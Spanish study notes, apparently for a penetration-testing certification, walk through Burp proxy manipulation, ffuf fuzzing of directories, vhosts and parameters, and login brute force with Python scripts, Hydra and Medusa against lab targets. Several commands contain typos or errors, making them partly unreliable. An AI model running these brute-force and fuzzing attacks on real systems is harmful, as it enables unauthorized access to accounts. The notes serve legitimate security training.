3. Explotacion WEB / 1. Usando WEB Proxies / 5. Skill Assessment
1. Skill Assessment
- En la pagina /lucky.php hay un boton deshabilitado. Trata de habilitarlo para hacer click en el y conseguir la flag
- Visitamos la pagina y habilitamos foxy proxy y el proxy burp para intercepcion e intercepcion de respuestas
![[Pasted image 20260707095322.png]]![[Pasted image 20260707095330.png]]![[Pasted image 20260707095400.png]]
- Si recargamos la pagina, en la respuesta vemos que en el HTML hay un boton con disabled por lo que creamos una regla para que las palabras disabled las cambie por nada
![[Pasted image 20260707095534.png]]![[Pasted image 20260707095632.png]]![[Pasted image 20260707095647.png]]
- Si volvemos a recargar la pagina vemos que disabled ya no aparece por lo que podemos mandar todo (forward) y podemos darle al boton hasta que nos devuelva la flag como respuesta
![[Pasted image 20260707095716.png]]![[Pasted image 20260707095731.png]]![[Pasted image 20260707095811.png]]
- La pagina /admin.php tiene una cookie que esta endodeada multiples veces. Trata de decodificara la cookie hasta que tengas un valor de 31 caracteres
- Visitamos la pagina y ponemos valores de prueba y enviamos el form para ver la solicitud en el proxy
![[Pasted image 20260707100206.png]]![[Pasted image 20260707100220.png]]
- Dentro de la solicitud vemos la cookie, si la llevamos al decoder y la decodificamos en ASCII y luego en BASE64 obtenemos la flag
![[Pasted image 20260707100232.png]]![[Pasted image 20260707100331.png]]
- Parece un MD5, trata de fuzzear un ultimo caracter mas del MD5 con caracteres alfanumericos mientras codificas el resultado con los metodos que hemos encontrado. Podemos usar la wordlist de alphanum-case.txt de la seclist
-
La solicitud HTTP la mandamos a intruder
![[Pasted image 20260707124149.png]]
-
Ponemos la cookie dentro del puntero y añadimos la wordlist y los procesadores (uno con el hash completo md5 como prefijo, un codificados a base64 y un codificador a ASCII hex)
![[Pasted image 20260707125940.png]]![[Pasted image 20260707124254.png]]
![[Pasted image 20260707125933.png]]
- Al realizar el ataque vemos que el que tiene mas respuesta tiene la flag
![[Pasted image 20260707130413.png]]
- Usando el modulo de MSF “auxiliary/scanner/http/coldfusion_locale_traversal” ves que no funciona bien por lo que decides capturar la solicitud y verificar manualmente y repetirlo. Capturando la solicitud, que directorio llamado /XXXX/administrator/,,, se llama?
- Usamos el modulo y lo configuramos para que pase por el proxy Burp y con este interceptando las solicitudes HTTP vemos la solicitud que hace
![[Pasted image 20260707131108.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 1. Introduccion
1. Introduccion
ffuf: es una herramienta para fuzzing web:
- Fuzzing de directorios
- Fuzzing de archivos y extensiones
- Identificación de hosts virtuales (vhosts) ocultos
- Fuzzing de parámetros PHP
- Fuzzing de valores de parámetros
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 2. Fuzzing Basico Y WEB
1. Fuzzing WEB
Instalacion
Repositorio de GitHub
o
apt install fuff -y
Directorios
- Tenemos un sitio web como objetivo, no tiene enlaces ni da informacion de mas paginas
![[Pasted image 20260707131907.png]]
- Hacemos fuzzing para encontrar directorios que nos devuelvan un 200 OK usando wordlists de SecLists
/use/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
-ic: en fuff quita las lineas de comentarios que vienen con las wordlists
-t N: numero de threads (si es muy alto puede generar DoS)
ffuf -w /RUTA/WORDLIST:FUZZ -u http:IP:PORT/FUZZ -ic -t 200
![[Pasted image 20260707132435.png]]
Ejemplo practico
- Hacemos Fuzzing de directorios al sitio web y encontramos dos directorios
![[Pasted image 20260707133010.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 2. Fuzzing Basico Y WEB
2. Fuzzing De Paginas
En el ejemplo anterior tuvimos acceso a /blog pero estaba vacia. Usaremos fuzzing de paginas para encontrar paginas ocultas con extensiones tipicas de web (.html, .aspx, .php…)
Una forma de hacerlo es mirando la cabecera, sabiendo que se trata de un Apache podemos buscar .php, si fuese un IIS buscariamos .asp o .aspx…
/usr/share/seclists/Discovery/Web-Content/web-extensions.txt
- Haremos el fuzz sobre el archivo index que es el que siempre esta en la mayoria de casos
fuff -w /RUTA/WORDLIST_EXTENSIONES -u http://IP:PORT/blog/indexFUZZ
Si no existe podemos usar dos wordlist (1 para el nombre /use/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt y otra para las extensiones /usr/share/seclists/Discovery/Web-Content/web-extensions.txt)
fuff -w /RUTA/WORDLIST_NOMBRES:FUZZ1 /RUTA/WORDLIST_EXTENSIONES:FUZZ2 -u http://IP:PORT/FUZZ1.FUZZ2 -ic -t 200
![[Pasted image 20260707134509.png]]
- Como vemos usando index obtuvimos un par de resultados .php por lo que ahora podemos hacer FUZZ de NOMBRE.php
fuff -w /use/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://IP:PORT/FUZZ.php
o podemos por -e php en vez de .php para especificar la extension
![[Pasted image 20260707134640.png]]
- Obtenemos resultados sin size 0 por lo que no estan vacios
![[Pasted image 20260707134716.png]]
Ejercicio practico
- Buscamos extensiones en /blog y encontramos que son .php
![[Pasted image 20260707135122.png]]
- Buscamos paginas .php y encontramos /home donde estaba la flag
![[Pasted image 20260707135104.png]]![[Pasted image 20260707135055.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 2. Fuzzing Basico Y WEB
3. Fuzzing Recursivo
De forma predeterminada cuando se encuentra un directorio si esta habilitada el fuzz de forma recursiva, se realizara el fuzz en ese directorio encontrado muchos directorios pueden tener muchos subdirecotorios y puede hacerse lento (/login/user/content/uploads/…etc)
Para que no se haga lento podemos especificar la profundidad
- Especificamos en el fuzz que se haga de forma recursiva y la profundidad
/use/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
fuff -w /RUTA/WORDLIST_DIRECTORIOS:FUZZ -u http://IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php
![[Pasted image 20260707140201.png]]
Ejercicio practico
- Realizamos el fuzzing recursivo desde la raiz y vemos como va encontrando directorios y añadiendo threads
![[Pasted image 20260707141017.png]]![[Pasted image 20260707141053.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 3. Fuzzing De Dominios
1. Registros DNS
Accediendo a /blog vimos un mensaje de que Admin panel moved to academy.htb
Si visitamos academy.htb vemos que pone cant connect to the server:
![[Pasted image 20260707152620.png]]
Esto se debe a que el lab es interno y primero busca en /etc/hosts y luego en DNS publicos, sino lo encuentra no puede acceder a el. Si pasamos la IP si que sabe como acceder y lo encuentra
Para acceder lo tenemos que meter en nuestro /etc/hosts:
sudo sh -c 'echo "SERVER_IP academy.htb" >> /etc/hosts'
Ahora ya podemos acceder añadiendo el PORT a la maquina
![[Pasted image 20260707153334.png]]
Como vemos es lo mismo que antes por lo que probablemente sea un CCNAME del mismo dominio y si hacemos fuzzing de directorios no encontraremos nada de admin. Haremos fuzzing de subdominios
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 3. Fuzzing De Dominios
2. Fuzzing De Subdominios
Subdominios
Un subdominio es un sitio web que subyace de otro sitio web como google.com –> photos.google.com
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
- Realizamos el fuzz de subdominios
ffuf -w /RUTA/WORDLIST_DOMAINS:FUZZ -i http://FUZZ.DOMAIN -ic -t 200
![[Pasted image 20260707154504.png]]
Si lo hacemos con academy.htb veremos que no sale nada y eso NO SIGNIFICA QUE NO EXISTA sino que los subdominios no son publicos y si no estan en el /etc/hosts, tampoco los va a encontrar en DNSs publicos
Ejemplo practico
- Hacemos el fuzzing de subdominios para el dominio inlanefreight.com
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 3. Fuzzing De Dominios
3. Fuzzing De Vhosts
La diferencia de un Vhost con un subdominio es basicamente que el Vhost es un subdominio servido desde el mismo servidor que el primer dominio por lo que comparte misma IP y a diferencia del subdominio si no es publico podremos encontrarlo gracias a que tendremos la IP del primer dominio en /etc/hosts
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
- Realizamos fuzzing de vhosts:
fuff -w /RUTA/WORDLIST_DOMINIOS:FUZZ -u http://DOMAIN:PORT/ -H 'Host: FUZZ.DOMAIN' -ic -t 200
![[Pasted image 20260707155627.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 3. Fuzzing De Dominios
4. Filtrando Resultados
| Parámetro |
Explicación |
Ejemplo |
-mc |
Mostrar códigos HTTP |
-mc 200,301 |
-ml |
Mostrar por líneas |
-ml 20 |
-mr |
Mostrar por regex |
-mr "admin" |
-ms |
Mostrar por tamaño |
-ms 1024 |
-mw |
Mostrar por palabras |
-mw 150 |
-fc |
Ocultar códigos HTTP |
-fc 404 |
-fl |
Ocultar por líneas |
-fl 20 |
-fr |
Ocultar por regex |
-fr "Not Found" |
-fs |
Ocultar por tamaño |
-fs 1024 |
-fw |
Ocultar por palabras |
-fw 150 |
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
- Realizamos un fuzzing y filtramos por el tamaño de la pagina
ffuf -w /RUTA/WORDLIST_DOMAIN -u http://DOMAIN:PORT/ -H 'Host: FUZZ.DOMAIN' -ic -t 200 -fs 900
![[Pasted image 20260707161042.png]]
- Verificamos que nos podemos conectar:
![[Pasted image 20260707161243.png]]
Ejemplo practico
- Metemos el dominio y la IP en /etc/hosts para que podamos acceder a el
![[Pasted image 20260707161235.png]]
- Realizamos un fuzzing de vhosts y vimos que todas las salidas nos daban el mismo resultado por lo que filtramos por tamaño de la salida y encontramos dos vhosts
![[Pasted image 20260707161731.png]]![[Pasted image 20260707161741.png]]![[Pasted image 20260707161820.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 4. Fuzzing De Parametros
1. Get
Si hacemos un escaneo recursivo de admin.academy.htb encontraremos: http://admin.academy.htb:PORT/admin/admin.php
Si intentamos acceder a la pagina veremos:
![[Pasted image 20260707164529.png]]
Esto significa que debe haber algun parametro que permita leer la flag ya que no hemos iniciado sesion ni vemos ninguna cookie en la peticion que sea verificable en el backend
Para hacer fuzzing de parametro y encontrar parametros GET:
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
ffuf -w /RUTA/WORDLIST_PARAMETROS -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs N
![[Pasted image 20260707164839.png]]
Encontramos un hit y si intentamos acceder usando el parametro podremos ver la flag:
![[Pasted image 20260707164918.png]]
Ejemplo practico
- Hacemos fuzzing recursivo de directorios del subdomonio admin.academy.htb y obtenemos /admin/admin.php
![[Pasted image 20260707165134.png]]
- Accedemos a el y vemos que no podemos leer la flag
![[Pasted image 20260707165236.png]]
- Si interceptamos la solicitud no vemos cookies ni codigo JS que nos deshabilite la vision por lo que es probable que se trate de un parametro GET
![[Pasted image 20260707165346.png]]
- Realizamos un fuzz de parametros en el sitio web y como nos daba los mismos resultados realizamos un filtrado por tamaño y obtuvimos el parametro
![[Pasted image 20260707165609.png]]![[Pasted image 20260707165650.png]]
- Accedimos al web con el paremetro y el pusimos =admin:
![[Pasted image 20260707165733.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 4. Fuzzing De Parametros
2. Post
La principal diferencia entre los parametros GET y POST es que los POST no se pasan por URL y no se pueden poner tras un ?
Los POST se pasan dentro de la data de la solicitud HTTP
Para hacer fuzzing en el campo data:
ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx
-X POST: para indicar que es un metodo POST
-d ‘FUZZ=key’: para realizar el fuzzing de parametros en la data de la solicitud HTTP
-H ‘Content Type: application/x-www-form-urlencoded’: esto es necesario especificarlo porque es el Content Type que tienen las solicitudes POST
![[Pasted image 20260707170246.png]]
Obtuvimos dos parametros:
Vamos a probar a enviar un solicitud HTTP con el parametro id:
curl http://admin.academy.htb/admin/admin.php -X POST -d 'id=key' -H 'Content-Type application/x-www-form-urlencoded'
![[Pasted image 20260707170503.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 4. Fuzzing De Parametros
3. Fuzzing De Valores
Wordlist personalizada
Creamos una wordlist personalizada dependiendo del parametro que hayamos obtenido. Para el de id necesitaremos numeros:
for i in $(seq 1 1000); do echo $i >> ids.txt; done
![[Pasted image 20260707170805.png]]
Ahora lo usamos:
ffuf -w ./ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?id=FUZZ -fs X
ffuf -w ./ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs XXX
![[Pasted image 20260707171028.png]]
Ejemplo practico
- Hacemos el fuzzing del valor del parametro por POST y vemos que dan todos el mismo resultado por lo que filtramos por tamaño
![[Pasted image 20260707171551.png]]
Obtenemos el valor 73:
![[Pasted image 20260707171619.png]]
- Visitamos el sitio web con ese valor para el parametro y obtenemos la flag:
![[Pasted image 20260707171814.png]]
CPTS
3. Explotacion WEB / 2. Atacando Webapps Con FFUF / 5. Skill Assessment
1. Skill Assessment
Se pide que localices todas las paginas y dominios vinculados a la IP (VHOSTs) y los dominios
Finalmente tendremos que ver si alguna de las paginas tiene parametros para interactuar
- Busca vhosts del dominio academy.htb
- Metemos la IP y dominio en /etc/hosts
![[Pasted image 20260707203737.png]]
- Realizamos el fuzing de vhosts y vemos que nos da los mismos resultados asi que filtramos por tamaño
![[Pasted image 20260707203809.png]]![[Pasted image 20260707203832.png]]
- Encontrar las extensiones permitidas
- Metemos los subdominios en /etc/hosts
![[Pasted image 20260707204157.png]]
- Realizamos un fuzing de extensiones y encontramos 3 en todos los subdominios y dominio
![[Pasted image 20260707204533.png]]![[Pasted image 20260707204606.png]]
- En uno de los subdominios habra una pagina que pondra no have access. Primero lo haremos por faculty ya que es la que tenia 3 extensiones y me ha llamado la atencion.
- Hacemos un fuzing recursivo de archivos .php, phps y .php7 y vimos que nos daba la misma respuesta por lo que filtramos por tamaño. Luego encontramos un directorio al que no tenemos acceso
![[Pasted image 20260707205145.png]]![[Pasted image 20260707205304.png]]
- Accedemos a el
![[Pasted image 20260707205401.png]]
- Esta pagina tiene parametros, encuentralos
- Hacemos fuzing de parametros GET
![[Pasted image 20260707205651.png]]![[Pasted image 20260707205704.png]]
Vemos uno que es user
- Usamos para poner user=admin como parametro GET pero el metodo no esta mas en uso
![[Pasted image 20260707205741.png]]
- Hacemos un fuzzing de parametros POST
![[Pasted image 20260707205930.png]]
Vemos otro que es username que podemos usar
- Fuzzea el valor del parametro
- Fuzzeamos el valor del parametro con la wordlist de /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt y encontramos un username
![[Pasted image 20260707210523.png]]
- Accedemos a la pagina web con ese parametro
![[Pasted image 20260707210644.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 1. Introduccion
1. Introduccion
Ataque de fuerza bruta es un metodo de ensayo y error que se usa para descifrar constraseñas probando todas las combinaciones posibles
El exito depende de:
- Complejidad
- Poder computacional
- Medidas de seguridad
![[Pasted image 20260708132609.png]]
Tipos de ataque de fuerza bruta
- Simple brute force: prueba sistematica de todas las combinaciones posibles dentro de un conjunto de caracteres en un rango de longitud
- Dictionary Attack: usa una lista precompilada de palabras, frases y contraseñas comunes
- Hybrid Attack: combina elementos de ataques de fuerza bruta y diccionario añadiendo caracteres
- Credential Stuffing: aprovecha credenciales filtradas de un servicio para acceder a otros (reutilizacion)
- Password Spraying: se intenta un pequeño numero de contraseñas sobre un gran numero de usernames
- Rainbow table attack: se usan tablas precalculadas de hashes de contraseñas para revertir hahes y recuperar las contraseñas en texto plano
- Reverse brute force: dirige una unica contraseña contra multiples nombres de usuario
- Distributed Brute Force: distribuye la carga de trabajo de fuerza bruta en varios ordenadores
Fundamentos de la seguridad de contraseñas
Importancia de las contraseñas seguras
-
Anatomia de una contraseña segura:
- Longitud: cuanto mas larga mejor. Minimo 12 caracteres
- Complejidad: uso de minusculas, mayusculas, numeros, caracteres especiales…
- Unicidad: no reutilizacion de credenciales
- Aleatoriedad: evitar usar palabras de diccionario, info personal o frases comunes
-
Debilidades comunes:
- Contraseñas cortas
- Palabras y frases comunes
- Informacion personal
- Reutilizacion de contraseñas
- Patrones predecibles
-
Politicas de contraseñas
- Longitud minima
- Complejidad
- Caducidad de las contraseñas
- Historial de contraseñas
Peligros de credenciales predeterminadas
/usr/share/seclists/Usernames/top-usernames-shortlist.txt
![[Pasted image 20260708133538.png]]![[Pasted image 20260708133550.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 2. Ataques De Fuerza Bruta
1. Ataques De Fuerza Bruta
Las matematicas detras de un ataque de fuerza bruta son:
Numero de combinaciones = NumCaracteres^Longitud
![[Pasted image 20260708133805.png]]![[Pasted image 20260708133816.png]]
Ejemplo descifrando un PIN de 4 digitos
- Preparamos un script en Python
import requests
ip = "IP"
port = PUERTO
for pin in range(10000): #1000 porque va de 0000 - 9999
formatted_pin = f"{pin:04d}" #esto convierte cualquier numero en formato 4 cifras
print(f"Intento PIN: {formatted_pin}")
response = requests.get(f"http://{ip}:{port}/pin?pin={formatted_pin}")
if response.ok and 'flag' in response.json():
print(f"PIN Correcto: found {formatted_pin}")
print(f"Flag: {response.json()['flag']}")
break
- Usamos el script contra la pagina web para encontrar el PIN correcto por parametro GET
![[Pasted image 20260708134710.png]]
Ejercicio practico
- Creamos el script de python y lo ejecutamos para obtener la flag
![[Pasted image 20260708140142.png]]![[Pasted image 20260708140719.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 2. Ataques De Fuerza Bruta
2. Ataques De Diccionario
El ataque de fuerza bruta simple puede consumir muchos recursos
En el ataque de diccionario se usan wordlists precompilada de palabras y frases reduciendo el espacio de busqueda
Tipos de wordlists:
- Publicly Available Lists
- Custom-Built Lists
- Specialized Lists
- Preexisting Lists
![[Pasted image 20260708154145.png]]
Ejemplo con script de python
import requests
ip="IP"
port=PORT
passwords="requests.get("https://...").text.splitlines()"
for password in passwords:
print(f"Password Intentada: {password}")
respuesta = requests.post(f"http://{ip}:{port}/dictionary", data={'password':password})
if respuesta.ok and 'flag' in respuesta.json():
print(f"Respuesta Correcta Encontrada: {password}")
print(f"Flag: {respuesta.json()['flag']}")
break
Otra opcion para en vez de leer el archivo online sino abrir una wordlist local:
with open("/RUTA/WORDLIST") as f:
passwords = f.read().splitlines()
Ejecutamos
python3 ataque_diccionario.py
Ejemplo practico
![[Pasted image 20260708160317.png]]![[Pasted image 20260708160328.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 2. Ataques De Fuerza Bruta
3. Ataques Hibridos
La politica que hace que se cambien contraseñas seguidamente, hace que se creen patrones entre unas contraseñas y otras
![[Pasted image 20260708160705.png]]
Imaginemos un ataque hacia una empresa en la que sabemos que les hacen cambios de contraseñas periodicamente:
![[Pasted image 20260708160806.png]]
El atacante comienda con un ataque de diccionario usando una wordlist, pero esta no tiene exito por lo que se pasa a un ataque hibrido. En lugar de probar contraseñas al azar, modificamos las de la wordlist de forma estrategica
El poder de los ataques hibridos
Escenario: tenemos una wordlists de palabras y contraseñas comunes que se usan en el sector de la empresa que estamos auditando y la politica de contraseñas es:
- Longitud de 8
- Debe incluir
- Una mayuscula
- Una minuscula
- Un numero
Usaremos las wordlist:
/usr/share/seclists/Passwords/Common-Credentials/darkweb2017_top-10000.txt
Empezamos a modificar la lista para que coincida con las politicas:
- Omitimos las contraseñas con mas de 8 caracteres
grep -E '^.{8,}' darkweb2017_top-10000.txt > darkweb2017-minlength.txt
- Omitimos las contraseñas sin minusculas
grep -E '[a-z]' darkweb2017-uppercase.txt > darkweb2017-lowercase.txt
- Omitimos las contraseñas sin mayusculas
grep -E '[A-Z]' darkweb2017-uppercase.txt > darkweb2017-lowercase.txt
- Omitimos las contraseñas sin numeros
grep -E '[0-9]' darkweb2017-lowercase.txt > darkweb2017-number.txt
- Podemos contar las entradas con las que se ha quedado el archivo
wc -l darkweb2017-number.txt
Reutilizacion de credenciales
Muchos usuarios reutilizan sus credenciales en varios sitios
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 3. Hydra
1. Hydra
Es un cracker de inicio de sesion red que soporta multiples protocolos y servicios
- Veloz
- Flexible
- Facil de usar
Instalacion
sudo apt install hydra -y
Uso basico
hydra -l USER/-L WORDLIST -p PASS/-P WORDLIST protocolo://IP:PORT
| Parámetro |
Explicación |
-l USER |
Especifica un único usuario. |
-L FILE |
Carga lista de usuarios. |
-p PASS |
Especifica una única contraseña. |
-P FILE |
Carga lista de contraseñas. |
-C FILE |
Archivo usuario:contraseña por línea. |
-x MIN:MAX:CHARSET |
Genera contraseñas automáticamente. |
-e nsr |
Prueba nulas, usuario e invertida. |
-t TASKS |
Número de hilos simultáneos. |
-T TASKS |
Máximo de conexiones objetivo. |
-f |
Detiene tras primer éxito. |
-F |
Detiene todos los objetivos. |
-s PORT |
Utiliza puerto personalizado. |
-S |
Fuerza conexión mediante SSL/TLS. |
-v |
Muestra información detallada. |
-V |
Muestra cada intento realizado. |
-d |
Activa salida de depuración. |
-o FILE |
Guarda resultados en archivo. |
-b FORMAT |
Formato del archivo resultados. |
-R |
Reanuda sesión interrumpida previamente. |
-I |
Ignora archivo de restauración. |
-u |
Prueba usuarios en paralelo. |
-w TIME |
Tiempo espera entre conexiones. |
-W TIME |
Espera entre reconexiones objetivo. |
-4 |
Fuerza uso de IPv4. |
-6 |
Fuerza uso de IPv6. |
-M FILE |
Lista de múltiples objetivos. |
-m OPT |
Opciones específicas del módulo. |
-U |
Muestra ayuda del módulo. |
service://target |
Define servicio y objetivo. |
| Servicio |
Descripción |
ftp |
Transferencia de archivos FTP. |
ssh |
Acceso remoto seguro SSH. |
http-get |
Autenticación web mediante GET. |
http-post-form |
Autenticación web mediante POST. |
https-get |
Autenticación HTTPS mediante GET. |
https-post-form |
Autenticación HTTPS mediante POST. |
smtp |
Envío de correo electrónico SMTP. |
pop3 |
Recepción de correo POP3. |
imap |
Acceso remoto a correo IMAP. |
mysql |
Base de datos MySQL. |
mssql |
Base de datos Microsoft SQL Server. |
postgres |
Base de datos PostgreSQL. |
oracle |
Base de datos Oracle. |
redis |
Base de datos Redis. |
mongodb |
Base de datos MongoDB. |
vnc |
Acceso remoto mediante VNC. |
rdp |
Escritorio remoto de Windows. |
smb |
Compartición de archivos Windows. |
ldap |
Servicio de directorio LDAP. |
snmp |
Gestión y monitorización de red. |
telnet |
Acceso remoto sin cifrado. |
smtp-enum |
Enumeración de usuarios SMTP. |
cisco |
Autenticación en dispositivos Cisco. |
cisco-enable |
Contraseña del modo privilegiado Cisco. |
svn |
Repositorios Apache Subversion. |
teamspeak |
Servidor de voz TeamSpeak. |
sip |
Protocolo de telefonía VoIP. |
pcanywhere |
Acceso remoto pcAnywhere. |
rexec |
Ejecución remota de comandos. |
rlogin |
Inicio de sesión remoto Unix. |
rsh |
Shell remoto Unix. |
Fuerza bruta en HTTP
hydra -L WORDLIST -P WORDLIST www.domain.com http-get /login
hydra -l USER -P WORDLIST www.domain.com http-post-form "/login:user=^USER^&pass^PASS^:S=302"
302 es el codigo de sesion exitosa
Fuerza bruta en ssh
hydra -l USER -p PASS -M LISTA_IPS ssh
Fuerza bruta FTP
hydra -L WORDLIST -P WORDLIST -s 2121 ftp.domain.com ftp
Fuerza bruta RDP Avanzada
hydra -l USER -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 IP rdp
Prueba contraseñas de 6 - 8 caracteres usando los caracteres pasados
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 3. Hydra
2. Autenticacion HTTP Basica
La autenticacion HTTP basica (Basic HTTP Authorization) se suele usar aunque es rudimentario para asegurar recursos web
Es un protocolo de desafio-respueta en el que el servidor exige las credenciales del usaurio antes de dar acceso a los recursos protegidos:
- Usuario intenta acceder a pagina restringida
- El servidor responde con un 401 Unauthorized y una cabecera WWW-Authenticate que solicita al navegador del usuario las credenciales
- La cedana pasada por el usuario se unifica en USER:PASS, se codifica en BASE64 y se incluye en la cabecera Authentication de las peticiones posteriores con formato
Basic BASE64_Creds
- El servidor decodifica las credenciales y las verifica en su base de datos y concede o deniega la entrada
![[Pasted image 20260708173824.png]]
hydra -l basic-auth-user -P /WORDLIST_PASS 127.0.0.1 http-get / -s PUERTO
![[Pasted image 20260708174045.png]]
-l USER: especificamos el usuario
-P /WORDLIST: especificamos la wordlist de passwords
127.0.0.1: IP destino
http-get /: objetivo
-s PUERTO: especificamos el puerto
Ejemplo practico
![[Pasted image 20260708174901.png]]
![[Pasted image 20260708174845.png]]![[Pasted image 20260708174925.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 3. Hydra
3. Formularios De Inicio De Sesion
Aunque visualmente son diversos, suelen tener las mismas mecanicas subyacentes:
![[Pasted image 20260708175325.png]]
Este es un ejemplo. Cuando se envia se realiza una solicitud POST al /login en el que se incluye el nombre de usuario y contraseña como datos:
![[Pasted image 20260708175413.png]]
En este tipo de formularios, el navegador captura las credenciales ingresadas (normalmente usando JS) para su validacion del lado del cliente o saneamiento de entrada. Luego lo envia en un HTTP POST donde se encapsulan los datos del formulario incluyendo nombre de usuario y contraseña dentro de su cuerpo y codificados como application/x-www-form-urlencoded o multipart/form-data
hydra -l user/-L WORDLIST -p PASS/-P WORDLIST -f IP -s PORT http-post-form "/login:PARAM1=^USER^&PARAM2:^PASS^:F=Invalid credentials/S=302/S=Dashboard"
F=…: es una condicion de fallo, cuando no se de sera que es autenticacion exitosa
- Invalid credentials: es un ejemplo que sale cuando la autenticacion no es exitosa (se debe mirar en la pagina web a ver si existe algun texto o algo que se pueda usar)
S=…: es una condicion de exito cuando se de sera que es autenticacion exitosa
- 302: es sesion exitosa tras redireccion
- Dashboard o Welcome: son palabras que se suelen poner en la pagina inicial tras la redireccion
Inspeccion manual
En la pagina web donde se encuentra el login form, hacemos CTL+U para ver el codigo HTML y saber los campos que tenemos que poner como parametros:
![[Pasted image 20260708180349.png]]
Vemos metodo POST y nombre de parametros username y password
Luego hacemos click derecho>Inspeccionar y vamos al apartado de red. Enviamos lo que sea en el formulario de login y miramos la solicitud POST que hemos enviado. Ahi podemos revisar los datos del formulario, cabeceras y respuestas del servidor:
![[Pasted image 20260708180644.png]]
Ejemplo practico
- Accedemos a la pagina web
![[Pasted image 20260708180741.png]]
- Miramos el codigo fuente y vemos los parametros que necesita el form
![[Pasted image 20260708180751.png]]
- Probamos a enviar unas credenciales de test mientras vemos en Inspect las solicitudes HTTP que le enviamos a traves de red
![[Pasted image 20260708180816.png]]![[Pasted image 20260708180833.png]]
- Dentro de la solicitud POST que enviamos, vamos a Request y ahi vemos los datos que le enviamos con los nombres de los campos y en Response podemos ver que nos devuelve el error Invalid credentials
![[Pasted image 20260708180847.png]]![[Pasted image 20260708180856.png]]
- Usamos hydra con los nombres de los parametros y filtrando por el error Invalid credentials
![[Pasted image 20260708182522.png]]![[Pasted image 20260708182538.png]]![[Pasted image 20260708182544.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 4. Medusa
1. Medusa
Herramienta de fuerza bruta masivamente paralela, rapuda y modular
Instalacion
sudo apt install medusa -y
Uso
medusa -h IP -U /RUTA/WORDLIST_USERS -P /RUTA/WORDLIST_PASS -M ssh
| Parámetro |
Explicación |
-h HOST |
Especifica un único objetivo. |
-H FILE |
Carga lista de objetivos. |
-u USER |
Especifica un único usuario. |
-U FILE |
Carga lista de usuarios. |
-p PASS |
Especifica una única contraseña. |
-P FILE |
Carga lista de contraseñas. |
-C FILE |
Archivo usuario:contraseña por línea. |
-M MODULE |
Selecciona el módulo del servicio. |
-m OPTION |
Opciones específicas del módulo. |
-n PORT |
Utiliza un puerto personalizado. |
-t TASKS |
Número de hilos simultáneos. |
-T TIME |
Tiempo espera entre intentos. |
-f |
Detiene al primer éxito local. |
-F |
Detiene al primer éxito global. |
-v LEVEL |
Aumenta nivel de información mostrada. |
-e ns |
Prueba contraseña vacía y usuario. |
-O |
Intenta continuar tras errores. |
-q |
Reduce información en pantalla. |
-w SEC |
Espera respuesta del servidor. |
-V |
Muestra versión de Medusa. |
-d |
Muestra módulos disponibles. |
| Módulo |
Descripción |
ftp |
Transferencia de archivos FTP. |
ssh |
Acceso remoto seguro SSH. |
http |
Autenticación web HTTP. |
https |
Autenticación web HTTPS. |
imap |
Acceso remoto a correo IMAP. |
pop3 |
Recepción de correo POP3. |
smtp |
Envío de correo SMTP. |
mysql |
Base de datos MySQL. |
mssql |
Base de datos Microsoft SQL Server. |
postgres |
Base de datos PostgreSQL. |
oracle |
Base de datos Oracle. |
mongodb |
Base de datos MongoDB. |
rdp |
Escritorio remoto Windows. |
vnc |
Acceso remoto mediante VNC. |
telnet |
Acceso remoto sin cifrado. |
svn |
Repositorios Apache Subversion. |
ldap |
Servicio de directorio LDAP. |
smbnt |
Compartición de archivos Windows. |
ncp |
Servicio Novell NetWare. |
pcanywhere |
Acceso remoto pcAnywhere. |
rexec |
Ejecución remota de comandos. |
rlogin |
Inicio de sesión remoto Unix. |
rsh |
Shell remoto Unix. |
web-form |
Formularios web personalizados. |
Atacando multiples servidores
medusa -H LIST_IPS -U /RUTA/WORDLIST_USERS -P /RUTA/WORDLIST_PASS -M http -m GET
Probando contraseñas vacias
medusa -h IP -U /RUTA/WORDLIST_USERS -e ns -M PROTOCOLO
-e n: contraseñas vacias
-e s: contraseñas que coincidan con el username
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 4. Medusa
2. WEB Services
medusa -h IP -n PORT -u USERNAME -P /RUTA/WORDLIST_PASS -M SERVICIO -t N
-t N: threads
